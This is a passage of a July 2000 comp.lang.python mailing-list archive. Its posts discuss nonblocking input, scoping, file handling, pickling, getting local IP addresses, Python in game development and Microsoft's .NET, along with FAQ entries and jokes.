curses. I'm writing a text-based, line-oriented client, and the cmd
module does almost exactly what I want, except for the fact that it
doesn't do nonblocking input. I've worked on this all day, and I'm
closer to a solution,though I'm still running into some problems.

The client currently uses a thread to read from the socket, and the
output is printed to the screen. The problem with this method is that
output gets intermingled with input. The obvious solution is to store
all input, reprint the last line of the display, then print the prompt
and stuff the old data back into the input buffer, but don't I need
nonblocking I/O for this? Or, is there some other module/method which
I am completely missing? I'd like to avoid using curses since 1) my
application uses only a single window, and doesn't need all of the
additional overhead which curses provides and 2) cmd provides an
interface which is perfect for what I am trying to write.



From see at my.signature  Thu Jul 20 23:25:28 2000
From: see at my.signature (Greg Ewing)
Date: Fri, 21 Jul 2000 15:25:28 +1200
Subject: zip() : how about braid()
References: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com> <8l6cbp$fgr$1@pollux.ip-plus.net>
Message-ID: <3977C2A8.6D8F7586@my.signature>

"J?rgen Hermann" wrote:
> 
> merge() is the best yet, since it's a common (programming) term with a
> well-defined meaning.

But it's a DIFFERENT meaning!

merge([1,2,4,6,7,8],[3,5,9]) --> [1,2,3,4,5,6,7,8,9])

-- 
Greg Ewing, Computer Science Dept, University of Canterbury,	  
Christchurch, New Zealand
To get my email address, please visit my web page:	  
http://www.cosc.canterbury.ac.nz/~greg


From jhylton at my-deja.com  Thu Jul  6 14:20:53 2000
From: jhylton at my-deja.com (jhylton at my-deja.com)
Date: Thu, 06 Jul 2000 18:20:53 GMT
Subject: job offer
References: <8k2a7p$mi71@imsp212.netvigator.com> <8k2asd$gin$1@slb0.atl.mindspring.net>
Message-ID: <8k2ilp$aao$1@nnrp1.deja.com>

In article <8k2asd$gin$1 at slb0.atl.mindspring.net>,
  aahz at netcom.com (Aahz Maruch) wrote:
> This is actually related; having jobs available boosts acceptance of
> Python!  However, you might try getting your posting up at
> http://www.python.org/Jobs.html
>
> Unfortunately, I've heard that the updater of the above URL hasn't
been
> responsive lately.

I just wanted to confirm that you are correct.  I am the updater of the
jobs board, and I have been unresponsive of late.  I am feeling guilty
about it, if that's any consolation.  I was busy getting the new
PythonLabs site ready, http://www.pythonlabs.com/, but I hope to be able
to get back to the jobs board soon.

Jeremy


Sent via Deja.com http://www.deja.com/
Before you buy.


From bill at dehora.fsnet.co.uk  Fri Jul 28 18:45:30 2000
From: bill at dehora.fsnet.co.uk (Bill de hÓra)
Date: Fri, 28 Jul 2000 23:45:30 +0100
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <slrn8nv0l4.mqi.grey@teleute.rpglink.com> <cp3dkwl2ia.fsf@cj20424-a.reston1.va.home.com> <slrn8o0m0c.qhk.grey@teleute.rpglink.com> <39807595.D6F543E9@netscape.net.remove> <FMsgUTBHBIg5Ew9s@jessikat.fsnet.co.uk> <39808d84.23819726@news-server.austin.rr.com>
Message-ID: <8lt3pl$bgg$1@newsg4.svr.pol.co.uk>

Q: how do you stop programmers making bugs?
A: take away their computers.






From thomas at xs4all.net  Wed Jul 19 04:14:17 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Wed, 19 Jul 2000 10:14:17 +0200
Subject: Type checking in python?
In-Reply-To: <yj5d5.1590$6E.308916@ptah.visi.com>; from hopper@omnifarious.mn.org on Tue, Jul 18, 2000 at 05:59:42PM -0600
References: <Ptvc5.40687$MT.1455524@news-west.usenetserver.com> <397296BC.415C97E1@prescod.net> <fRZc5.1487$6E.293353@ptah.visi.com> <20000718231047.D4283@xs4all.nl> <yj5d5.1590$6E.308916@ptah.visi.com>
Message-ID: <20000719101417.I4283@xs4all.nl>

On Tue, Jul 18, 2000 at 05:59:42PM -0600, Eric Hopper wrote:
> In article <20000718231047.D4283 at xs4all.nl>, Thomas Wouters
> <thomas at xs4all.net> wrote:
> > If you insist on type-checking, do it the interface-way:
> > 
> > getattr(object, "required_method") getattr(object, "required_datatype")
> > [etc]

> 	*shudder*

Well, that's why noone does it. Just using the object and assuming *some*
clue in the programmer is what most people do, and you know ? It works
pretty well, really.

> > Scoping is incredibly simple in Python. There's the local scope, and the
> > global scope ;) It might take some getting used to if you're used to
> > magic or explicit scopes, but it's definately very simple ;)
> 
> It is very simple.  I would prefer more nesting of scopes though.  In
> particular, lambda expressions should have the local scope they're
> declared in as their global scope.  I understand why they don't.  It's
> because of how references to variables inside functions are optimized.

Nah, that can be turned off or worked around. The problem is that Python has
no nested scopes period. local/global *look* nested, but they really aren't,
they're just two seperate namespace-pointers that might point to the same
one.

For Python to get nested scopes it would, for one, have to deal with cyclic
garbage first, and then be rewritten do to nested scopes. Quite a large
rewrite. I think the 'lambda x, y=y, z=z' trick works good enough. If you
need more complicated lambda's, you don't need a lambda, you need a class.

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From moshez at math.huji.ac.il  Sat Jul 22 01:49:16 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Sat, 22 Jul 2000 08:49:16 +0300 (IDT)
Subject: Operators for everything (was Re: Operators for matrix)
In-Reply-To: <m38zuvny7v.fsf@atrus.jesus.cam.ac.uk>
Message-ID: <Pine.GSO.4.10.10007220848150.6527-100000@sundial>

On 21 Jul 2000, Michael Hudson wrote:

> a @<id> b === <id>(a,b)
> 
> for any valid identifier <id>.
...
> 3. Syntactic sugar causes cancer of the semicolon.

people-with-automatic-signatures-should-be-careful-of-what-they-post-ly 
y'rs, Z.

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From arnold at dstc.monash.edu.au  Tue Jul 25 23:57:38 2000
From: arnold at dstc.monash.edu.au (David Arnold)
Date: Wed, 26 Jul 2000 13:57:38 +1000
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up 
In-Reply-To: Your message of "Tue, 25 Jul 2000 14:50:02 +0200."
             <8lk2kc0esc@news1.newsguy.com> 
Message-ID: <200007260357.NAA28707@xevious.dstc.monash.edu.au>

-->"Alex" == Alex Martelli <alex at magenta.com> writes:

  Alex> since IL does not support multiple inheritance of
  Alex> implementation, which full Eiffel wants; dunno what Python
  Alex> .NET will do about that).

urk!  is that true?  mark?  is this an issue for Python/IL ?

  Alex> CRL (or CLR or whatever the correct acronym happens to be) is
  Alex> a Microsoft-proprietary thing; I doubt it will be available
  Alex> for non-MS platforms,

i've heard (from reasonable sources) that porting IL is pretty simple,
and these sources have seen it running on unix, etc.

  Alex> Presumably things will be a little better when Visual Studio
  Alex> .NET's first beta appears (currently, only a pre-beta of it is
  Alex> yet around).

it's impressive how much hype can be generated for a product that is
still years away from general release ;-)



d



From moshez at math.huji.ac.il  Sat Jul 15 14:12:53 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Sat, 15 Jul 2000 21:12:53 +0300 (IDT)
Subject: How to read one raw character at a time?
In-Reply-To: <963677152.546123668@news.libertysurf.fr>
Message-ID: <Pine.GSO.4.10.10007152112140.2584-100000@sundial>

On Sat, 15 Jul 2000, Jerome Quelin wrote:

> Hi all,
> 
> When prompting a user for something, I would like to fetch and proceed
> his answer character by character, and not line by line. How should I
> do?
> 
> sys.stdin.read(1) proceeds only when the user hits the return key,
> that's not what I want.

You haven't mentioned your OS, but if you're on UNIX, you better have
a look at the "curses" module.
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From buzzard at urubu.freeserve.co.uk  Thu Jul 20 15:57:27 2000
From: buzzard at urubu.freeserve.co.uk (Duncan Smith)
Date: Thu, 20 Jul 2000 20:57:27 +0100
Subject: Closing a file
Message-ID: <8l7lm7$kkb$1@news6.svr.pol.co.uk>

I am attempting to write data to a file so I can export it to another
application after running a simulated annealing algorithm.  (self.cost == 0
on the first iteration only.)  The relevant code is below.  The file seems
to be created and written to O.K., bit it's not closed and I can't access
'simresults.txt' without shutting down Python.  I've checked the FAQ etc.
but I'm no computer scientist and I can't figure out where I'm going wrong.
Thanks in advance for any help.


from Numeric import *
from Set import *
from RandomArray import *
import sys

    def acceptsim(self, cost, n):
        t = 10000.0 / n
        if self.cost == 0:
            outputfile = open('simresults.txt', 'w')
            sys.stdout = outputfile
            self.cost = DJT.totalcost(self)
            self.low_cost = self.cost
            self.low_ordering = self.ordering[:]
        if n > 900000:
            outputfile.close()
            return 'stop'
        if cost > 0:
            p = exp ((-1 / t) * (float(cost) / self.cost))
            if random() > p:
                print self.cost
                return 0
            else:
                self.cost = self.cost + cost
                print self.cost
                return 1
        else:
            self.cost = self.cost + cost
            if self.cost < self.low_cost:
                self.low_cost = self.cost
                self.low_ordering = self.ordering[:]
            print self.cost
            return 1




From paul at prescod.net  Fri Jul 14 17:37:04 2000
From: paul at prescod.net (Paul Prescod)
Date: Fri, 14 Jul 2000 16:37:04 -0500
Subject: string issue or questions about intern
References: <396EEAFF.3AD7B951@bioreason.com> <396F87C4.6B3C9FAE@schneider-kamp.de> <396F0DD3.B391503@bioreason.com> <3dk8eol9bk.fsf@kronos.cnri.reston.va.us>
Message-ID: <396F8800.49F7D25D@prescod.net>

Andrew Kuchling wrote:
> 
> ...
> 
> If you need full Python expressions, there seems no way around using
> eval().  But if you simply need string escapes, it's probably worth
> writing a parser.  (Does such a parser already exist somewhere in the
> standard library?  Anyone know?)

In general, wouldn't it be nice if there was a parser for all Python
literal syntaxes? Sometimes its really convenient to keep your data in a
format like this:

{"a":"b"}

but I cringe to load the file and then eval it for security reasons.

-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html




From rumjuggler at cryptarchy.org  Fri Jul 28 05:08:31 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Fri, 28 Jul 2000 09:08:31 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <slrn8o283n.qtv.nobody@isis.visi.com> <slrn8o2f2l.1e2.grey@teleute.rpglink.com>
Message-ID: <o7j2oss3nmemu61gufuic4qogtmop76vul@4ax.com>

On Fri, 28 Jul 2000 07:57:12 GMT, grey at despair.rpglink.com (Steve Lamb)
wrote:

>On Fri, 28 Jul 2000 05:56:07 GMT, Grant Edwards <nobody at nowhere.nohow> wrote:
>>>    foo is not ['a'].
>
>>It is when I try it...
>
>   ...  
>
>>> It took a single element and made it a list. 
>
>    Right, which is what I said here, who knows how the not got there.
>
>>No, it took a sequence containing a single element and turned it into a list
>>containing a single element.  list() only works on sequences.  'a' is a
>>sequence of length 1.
>
>    That is what I said.  It took a single element and made it a list with a
>single element.
>
>>>So we now know that a single element has a sequence.  
>
>>Not in the general case.
>
>    Not in this language.  In general, yes.  Both of these are a single
>element sequence.  1.  a.  Because Python doesn't think so doesn't make it any
>less so.

You don't even know that a single element has a sequence.  You just know
that a sequence with only one element has a sequence, which is no great
revelation, I think.

>>No, 1 is not a sequence.  1 is an integer.  [1] is a sequence.  (1) is a
>>sequence.
>
>    1 is a single element sequence, regardless of any arbitrary type assigned
>to it.

How is assigning what is rather clearly a number the type "number"
arbitrary?

If one is a single-element sequence, why does one plus one equal two?
Sequence addition should be equivalent to concatenation.

And if one is a sequence, what's one hundred and eleven?  A three-element
sequence, or a one-element?  I mean, is 111[0] 111, or 1?

>>str() and list() are not inverse operations.  They are neither claimed nor
>>intended to be. 
>
>    Nor did I claim they were.  That's three people who didn't read the last
>sentence of that paragraph.

I read it, I just didn't see the point in the entire paragraph being there
if you weren't making some implicit criticism of the current system.

-- 
Barnabas T. Rumjuggler

True, Father Time has long and cruelly sodomized me with the splintered
haft of his great scythe, but I shall out-live the God-damned lot of you!
 -- T. Herman Zweibel


From cut_me_out at hotmail.com  Wed Jul 26 17:42:59 2000
From: cut_me_out at hotmail.com (Alex)
Date: 26 Jul 2000 17:42:59 -0400
Subject: print format
References: <397E3530.E821018C@bioeng.ucsd.edu> <slrn8nsdpi.2pk.wtanksle@dolphin.openprojects.net> <kdrf5.1533$ck7.387726@nntp1.onemain.com> <slrn8nufmc.3kn.wtanksle@dolphin.openprojects.net> <397F56CC.55C036EF@bioeng.ucsd.edu>
Message-ID: <etdhf9c4lgc.fsf@w20-575-115.mit.edu>

> What is the difference between "print" and "sys.stdout.write"?

>>> import sys
>>> sys.stdout.write(1)
Traceback (innermost last):
  File "<stdin>", line 1, in ?
TypeError: read-only buffer, int
>>> print 1
1
>>> 

Alex.


From aahz at netcom.com  Tue Jul 25 06:20:08 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 25 Jul 2000 10:20:08 GMT
Subject: Bug hunting (was Re: Python in game development?)
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <uya2rpfja.fsf@ctwd0143.fitlinxx.com> <3L%e5.9930$r4.5151@news.indigo.ie> <397D1F01.214C4F52@my.signature>
Message-ID: <8ljpko$90v$1@slb1.atl.mindspring.net>

In article <397D1F01.214C4F52 at my.signature>,
Greg Ewing  <see at my.signature> wrote:
>
>The ability to watch your program execute is an extremely powerful way
>to track down the causes of bugs. You know what the program is supposed
>to do; the program is actually doing something different. If you can
>watch the program execute step by step, it becomes instantly obvious
>where they diverge. Usually it's also instantly obvious what has to be
>done to fix it, since often it's just some simple oversight.

That's assuming that it's not a race condition in a multi-process
system, of course.  :-(

(We had a really narsty problem with MS SQL Server a few months back.)
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Zie is so far from a clue that it would take a sub-light vessel several
years to reach one.  --Aahz


From moshez at math.huji.ac.il  Wed Jul  5 01:08:02 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Wed, 5 Jul 2000 08:08:02 +0300 (IDT)
Subject: Python to C++ in a pickle
In-Reply-To: <K5r85.38150$dF.1427872@news1.rdc1.il.home.com>
Message-ID: <Pine.GSO.4.10.10007050807380.109-100000@sundial>

On Tue, 4 Jul 2000, Larry Whitley wrote:

> I'd like to pickle an object in python and unpickle it in C++.  The object
> in question is a python dictionary so it will have to go into a C++ map.
> Has someone done this and is willing to share?  Or, is the cPickle source
> available on the web somewhere?

Why use pickle? XML-RPC seems much better for this purpose.
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.




From davidw at linuxcare.com  Mon Jul 31 08:09:08 2000
From: davidw at linuxcare.com (David N. Welton)
Date: 31 Jul 2000 14:09:08 +0200
Subject: Speed drops when focus moves away from script window
References: <xDdh5.22150$rH5.54436@nntpserver.swip.net>
Message-ID: <87ittm4i3f.fsf@eugene.prosa.it>

"christer fernstrom" <fernstrom at geocities.com> writes:

> When running Zope, I have noticed a drastic drop in speed (order(s)
> of magnitude!!) when focus is not on the window from which the
> python interpreter is running. Response time for buttons change from
> a few seconds to minutes. I run Python 1.6 on W2000. Any suggestions
> of what I should do?

Run Linux?;-)

Doesn't NT have some kind of setting where it ups the 'nice' level of
the current window?  I think that there is a way to disable that.

Ciao,
-- 
David N. Welton, Responsabile Progetti Open Source, Linuxcare Italia spa
tel +39.049.8043411 fax +39.049.8043412 cel +39.348.2879508
davidw at linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From fiona at sitegnome.com  Wed Jul  5 09:14:23 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: 5 Jul 2000 13:14:23 -0000
Subject: [FAQTS] Python Knowledge Base Update -- July 5th, 2000
Message-ID: <20000705131423.10879.qmail@synop.com>

Hi !

Another instalment of entries into http://python.faqts.com

cheers,

Fiona

Australian - instalment
American - installment

:-) .. in case you were wondering that I couldn't spell?


## Unanswered Questions ########################################


-------------------------------------------------------------
How do I format my request to get an url/socket when there is a proxy in the middle and Proxy Authentication is required ?
http://www.faqts.com/knowledge-base/view.phtml/aid/4182
-------------------------------------------------------------
Guest



## New Entries #################################################


-------------------------------------------------------------
How do I return a user's login name who is logged on at a PC?
http://www.faqts.com/knowledge-base/view.phtml/aid/4189
-------------------------------------------------------------
Fiona Czuczman
richard_chamberlain, j vickroy, Ralf Claus

You'll need the win32 extensions - 
http://starship.python.net/crew/mhammond/

import win32api
login=win32api.GetUserName()

--- or ---

On Windows NT:

import os
os.environ['USERNAME']

... provides the information.

I do not believe that either Win 95 or 98 has the 'USERNAME' attribute 
set.

--- or ---

import getpass
username = getpass.getuser()

works on both systems (NT,UNIX), if you need.


-------------------------------------------------------------
Can I use Python to run Internet Explorer and control it via COM?
http://www.faqts.com/knowledge-base/view.phtml/aid/4191
-------------------------------------------------------------
Fiona Czuczman
Roger Upole, Mark Hammond

Here's a small sample of how to navigate to a URL.
>>> import win32com.client
>>> x=win32com.client.Dispatch('InternetExplorer.Application.1')
>>> x.Visible=1
>>> x.Navigate('http://www.python.org')
If you run makepy on Microsoft Internet Controls, the file generated in
Python\win32com\genpy will show all the properties and methods available 
for this object.

This will work fine to control IE.

However, look in "win32com\client\__init__.py", and look for the
"DispatchWithEvents" docstring - this has an example that uses IE to 
both control it, and respond to events (such as URL load completed, etc)


-------------------------------------------------------------
Is there a Python MySQL module for use under Windows?
http://www.faqts.com/knowledge-base/view.phtml/aid/4188
-------------------------------------------------------------
Fiona Czuczman
Stefan Franke

Check out

  ZMySQLDA-1.2.0.tar.gz

on the Zope site (www.zope.org). It contains MySQLdb-0.1.2 with some 
Windows patches already applied. I run it sucessfully with the lately 
GPLed MySQL-2.23.19 on Win98.

All you need to do is to edit Setup.in, adjust the paths to your  local 
MySQL installation, and run compile.py.


## Edited Entries ##############################################


-------------------------------------------------------------
What is the best way to make multiple replacements of text strings in a file?
http://www.faqts.com/knowledge-base/view.phtml/aid/4049
-------------------------------------------------------------
Fiona Czuczman, Thi?baut Champenier, Steve Holden
Steve Holden, Steve Nordby,David Goodger, Fredrik Lundh,Thi?baut Champenier

You could clean the source up a bit with:

     foobar = ( ('foo1', 'bar1'),
              ('foo2', 'bar2'),
              ('fooN', 'barN') )
     source = open(source_file,'r')
     contents = source.read()
     source.close()

     for foo, bar in foobar:
         contents = replace(contents, foo, bar)
           
     dest = open(dest_file, 'w')
     dest.write(contents10)
     dest.close()

For speedup, you could write the whole loop as a single statement,
but it will get horrible quickly:

    contents = replace(
               replace(
               replace(contents,
               'fooN', 'barN'),
               'foo2', 'bar2'),
               'foo1', 'bar1)

and, of course, ths code is much less easy to maintain.

How about using a dictionary and a loop:

    replaceme = {'foo1': 'bar1', 'foo2': 'bar2', 'foo3': 'bar3'}
    for key in replaceme.keys():
        srch = key
        rplc = replaceme[key]
        contents = string.replace(contents, srch, rplc)

-------------------

Perhaps a bit complex for a newbie, but the most definitive answer I've 
seen so far has been Fredrik Lundh's 2000-04-12 reply to the "Python 
idiom: Multiple search-and-replace" thread:

> Is there a Python feature or standard library API that will get me 
> less Python code spinning inside this loop?   re.multisub or 
> equivalent? 

haven't benchmarked it, but I suspect that this approach is more 
efficient:

...

# based on re-example-5.py

import re
import string

symbol_map = { "foo": "FOO", "bar": "BAR" }

def symbol_replace(match, get=symbol_map.get):
    return get(match.group(1), "")

symbol_pattern = re.compile(
    "(" + string.join(map(re.escape, symbol_map.keys()), "|") + ")"
              )

print symbol_pattern.sub(symbol_replace, "foobarfiebarfoo")

-------------------
Thi?baut Champenier has wriiten a string replacement utility,
which is available for inspection at:  http://tibi.free.fr/repl.py






From steedman at quake.cs.fsu.edu  Mon Jul 24 23:47:50 2000
From: steedman at quake.cs.fsu.edu (Ronald Steedman)
Date: 25 Jul 2000 03:47:50 GMT
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <964118210.2281.0.pluto.d4ee0942@news.demon.nl> <397ab732.1184204@news.proxad.net> <964351215.18988.0.pluto.d4ee0942@news.demon.nl> <8lh588$oti$3@news.fsu.edu> <T1Ze5.9877$r4.5093@news.indigo.ie>
Message-ID: <8lj2l6$ibb$1@news.fsu.edu>

In comp.games.development.programming.misc Gerry Quinn <gerryq at indigo.ie> wrote:
:> A full compile of a complex software package can often take 30 seconds or
:> more. That can be frustrating when you're trying to find and remove bugs.
:> You try one thing, wait 30 seconds, try another thing, wait 30 seconds...

: If I were your boss I would make sure you had no access to an 
: interpreter!  I would even slow down your compilation by giving you an 
: older machine ;-)

: Changing things at random and hoping the problem goes away is not the 
: way to fix bugs.

 Hehe. I'm thinking about two cases in particular. 

 First is finding a bug such as a memory leak within a project. Inserting
 debugging statements incrementally to locate it is my usual approach.
 True, this should be avoided by careful modularization and testing.

 I know. "Testing is NOT an optional phase in development..."

 Second is fixing a minor graphical problem, such as some text or border
 that is a little too big or small. Hmm... border=200? Nope. Border=400?

  -- Ron Steedman


From jbrennan at linuxfreak.com  Mon Jul 17 02:54:32 2000
From: jbrennan at linuxfreak.com (Jim Brennan)
Date: Sun, 16 Jul 2000 23:54:32 -0700
Subject: Python VM on a Chip?
Message-ID: <3972ADA8.BF327969@linuxfreak.com>

In the past I have read about companies implementing the Java VM on a
chip.  Vendors such as Rockwell have been working with Sun to make it
possible to implement embedded Java applications that run a hundred
times faster then the software VM.

Has anyone ever considered doing the same kind of thing with the Python
VM?  Is it even possible since the data types of Python are late
binding?  Does anyone know of a commercial or university project that is
implementing a Python VM using ASICs or FPGAs?

Thanks,

Jim Brennan
jbrennan at linuxfreak.com




From wlfraed at ix.netcom.com  Tue Jul 11 12:04:21 2000
From: wlfraed at ix.netcom.com (Dennis Lee Bieber)
Date: Tue, 11 Jul 2000 09:04:21 -0700
Subject: Language Challenge -- Results
References: <396A493A.DE1DF77B@sdynamix.com> <126lmsosi64hj8v5dse4ln3khnuvdtpbb8@4ax.com>
Message-ID: <qjgmmso2d4k1b5nt03trkntum6kvehvpki@4ax.com>

On Mon, 10 Jul 2000 21:14:21 -0700, Dennis Lee Bieber
<wlfraed at ix.netcom.com> declaimed the following in comp.lang.python:

> > 
> 	"The server does not have a DNS entry" (as reported by netscape,
> and for once it is not my ISP having problems -- I can hit other pages
> fine).

	Maybe it was my ISP; I could hit it today, and noticed all the
"loading..." messages had "home.netcom.com" in them, and I have an
ix.netcom.com account (which was sucked up by mindspring, only to be
sucked up by earthlink...).
--
 > ============================================================== <
 >   wlfraed at ix.netcom.com  | Wulfraed  Dennis Lee Bieber  KD6MOG <
 >      wulfraed at dm.net     |       Bestiaria Support Staff       <
 > ============================================================== <
 >        Bestiaria Home Page: http://www.beastie.dm.net/         <
 >            Home Page: http://www.dm.net/~wulfraed/             <


From giem_I_AM_SINGING_IN_THE_RAIN at free.fr  Sun Jul 23 05:10:06 2000
From: giem_I_AM_SINGING_IN_THE_RAIN at free.fr (Jm)
Date: Sun, 23 Jul 2000 09:10:06 GMT
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <964118210.2281.0.pluto.d4ee0942@news.demon.nl>
Message-ID: <397ab732.1184204@news.proxad.net>

Do you have a link to it,
 or at least the name of that interpreter ??

--

On Thu, 20 Jul 2000 20:36:49 +0200, "slauijssen" <serve at circe.dem.nl>
wrote:

>Err, by the way
>On a linux cd I found a C++ interpreter. The funny thing is that the
>interpreter itself is written with c++ and interprets itself to interpret
>the really to interpret code. Got it? ;-)
>
>Mallor <mallor at 3DProgrammer.com> schreef in berichtnieuws
>v62d5.580$GQ1.26151 at newsread2.prod.itd.earthlink.net...
>> Are any of you game developers out there using Python as your game
>engine's
>> embedded scripting language?  I am wondering what drove your decision to
>use
>> Python instead of other embeddable scripting languages?  I'd like to hear
>what
>> your overriding concerns were, and also what they are now, having put
>Python to
>> the test.
>>
>> --
>> Cheers,             Infernal Troublemaker                    Troll
>> Mallor              "By simple mistake, mortals themselves amuse."
>>
>>
>>
>
>



From ajm at enteract.com  Wed Jul 12 23:44:13 2000
From: ajm at enteract.com (Alan Miller)
Date: Wed, 12 Jul 2000 22:44:13 -0500
Subject: Enumerating drives in Python or wxPython
References: <8aKa5.485$652.11285@newsc.telia.net>
Message-ID: <MPG.13d6a1cd2ebf57169896bf@news-enteract>

Lars Lundstedt (lars.lundstedt at telia.com) wrote:
>The subject line says it all. How do I do it?
>Anyone who knows?

import string, os

drivelist = []

for driveletter in string.uppercase:
    if os.path.isdir(driveletter + ":\\"):
        drivelist.append(driveletter)

print drivelist


From dalke at acm.org  Fri Jul  7 15:08:47 2000
From: dalke at acm.org (Andrew Dalke)
Date: 7 Jul 2000 20:08:47 +0100
Subject: Python Module for sequence alignments.
References: <etdg0pppszv.fsf@w20-575-32.mit.edu>
Message-ID: <8k0nte$l14$1@slb0.atl.mindspring.net>

Alex wrote:
>Hi.  I made a python module that does simple sequence alignments.  If
>there is enough interest, I may make it a little more elaborate.  You
>can get it from
>
>http://puffin.lcs.mit.edu:8080/align.tgz

By the way, you may be interested in biopython.org, which is developing
a set of libraries and tools for bioinformatics and related fields.  You
may also be interested in the Bioinformatics Open-Source Conference
<ismb2000.sdsc.edu/bosc2000> which really should include your
disclaimer concerning Giant Super-Intelligent Man-Eating Lizards.

                    Andrew
                    dalke at acm.org






From pehr at pehr.net  Thu Jul 20 01:20:51 2000
From: pehr at pehr.net (pehr anderson)
Date: Thu, 20 Jul 2000 05:20:51 GMT
Subject: Getting local IP address...
References: <200007190105.LAA27331@xevious.dstc.monash.edu.au>
Message-ID: <39768C32.EFB576B0@pehr.net>

I would be *very* interested in a module that made it easy to access
low-level interface information.

There are a few goodies python excludes, for better or worse, in 
the name of cross-platform portability:

1. localhost IP addresses, 
2. MAC addresses for ethernet interfaces,
3. listing available PPP addresses with an interface to connect /
disconnect.
4. raw_sockets support. I haven't delved deeply enough to know why this 
   is excludeded but for embedded development it is *really* handy.
5. Built-in library for cross-platform serial device interfaces.
   This is one we are starting to put together at work.
   We currently do a lot of development that looks as follows:
	python --Ethernet--> lantronix --RS232--> embddded device
   Imagine a serial port interface for python that could talk to 
   linux serial ports, windows serial ports, and ports accross a 
   network using a terminal server!

	-pehr


David Arnold wrote:
> 
> -->"Stephen" == Stephen Hansen <stephen%cerebralmaelstrom.com.bbs at openbazaar.net> writes:
> 
>   Stephen> Um, jeez. I'm rather surprised by these responses -- I
>   Stephen> assumed it was some simple little function somewhere I was
>   Stephen> missing.
> 
> sadly not.  in the simple case, gethostbyname(gethostname()) will do
> what you want, but for machines with multiple interfaces it's not
> guaranteed to get you a useful IP address.
> 
> this is particularly the case for a machine with a dialup PPP link,
> and a local ethernet card using (just to exhibit some more complexity)
> a NATed private address range.  in this case, it's likely that the
> reverse lookup on the hostname would return the NATed address, which
> is useless to external hosts.
> 
> the third approach has load implications, but is at least portable and
> reliable ...
> 
> i've been looking at the available facilities (under Unix) for finding
> interfaces and addresses, and it's reasonably arcane, and has a lot of
> portability warning, but it's tempting to write a small module to
> expose the functionality.
> 
> one complication i found today is that h2py (needed to get the
> constants for use with ioctl()) doesn't support multi-parameter
> macros, and consequently IOCTL on Solaris doesn't work ...
> 
> anyone have plans to extend h2py for 1.6/2.0 to support multi-arg
> macro translations?
> 
> anyone interested in a general interface info module?
> 
> d


From cg at gaia.cdg.acriter.nl  Wed Jul 26 13:45:59 2000
From: cg at gaia.cdg.acriter.nl (Cees de Groot)
Date: 26 Jul 2000 19:45:59 +0200
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <200007260357.NAA28707@xevious.dstc.monash.edu.au>
Message-ID: <8ln84n$380$1@gaia.cdg.acriter.nl>

David Arnold  <davida at pobox.com> said:
>it's impressive how much hype can be generated for a product that is
>still years away from general release ;-)
>
...and is soooo innovative that it does exactly the same thing as Java
and the JVM, only five years later and at the vaporware stage. There's
only one company that can pull this off, and I sincerely hope they'll
choke in it this time.

(http://grunge.cs.tu-berlin.de/~tolk/vmlanguages.html, support /that/ many
stuff on your little VM, M$).

... happily going back to Java, Python, SmallTalk, Scheme, XML and whatnot
on top of HotSpot...,

Cees



-- 
Cees de Groot               http://www.cdegroot.com     <cg at cdegroot.com>
GnuPG 1024D/E0989E8B 0016 F679 F38D 5946 4ECD  1986 F303 937F E098 9E8B
Forge your CipherSaber and list it: http://www.xs4all.nl/~cg/ciphersaber/


From aahz at netcom.com  Sun Jul 16 13:40:03 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 16 Jul 2000 17:40:03 GMT
Subject: Top 10 Language Constructs (Phyton)
References: <8kmkam$m45$1@pollux.ip-plus.net> <8kpavi04id@news1.newsguy.com> <8kpt05$uj6$1@slb3.atl.mindspring.net> <qflc5.1316$6E.225996@ptah.visi.com>
Message-ID: <8kss1j$s39$1@slb7.atl.mindspring.net>

In article <qflc5.1316$6E.225996 at ptah.visi.com>,
Grant Edwards <nobody at nowhere.nohow> wrote:
>On 15 Jul 2000 14:37:57 GMT, Aahz Maruch <aahz at netcom.com> wrote:
>>
>>Yeah, one of the reasons I hate AltaVista so much is because it does a
>>remarkably poor job of result ranking, even by the relatively poor
>>standards of search engines.
>
>I am reminded of something somebody once told me about network
>TV: "They don't care whether you like the programs or not. All
>they care about is whether their customers like their product."
>
>IOW: You are not the customer. You are the product.

True enough -- but if I don't visit their site, I'm not product for
them.  I literally can't remember the last time I bothered visiting
AltaVista for anything other than a quick test to see if they've
improved their software, and I also warn other eyeballs away from them.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"Let's go home and turn on MTV.  I want to watch some Pop-Up Videos."
"Pop-Up Videos is not on MTV, it's on VH-1."
"'MTV' is a generic."


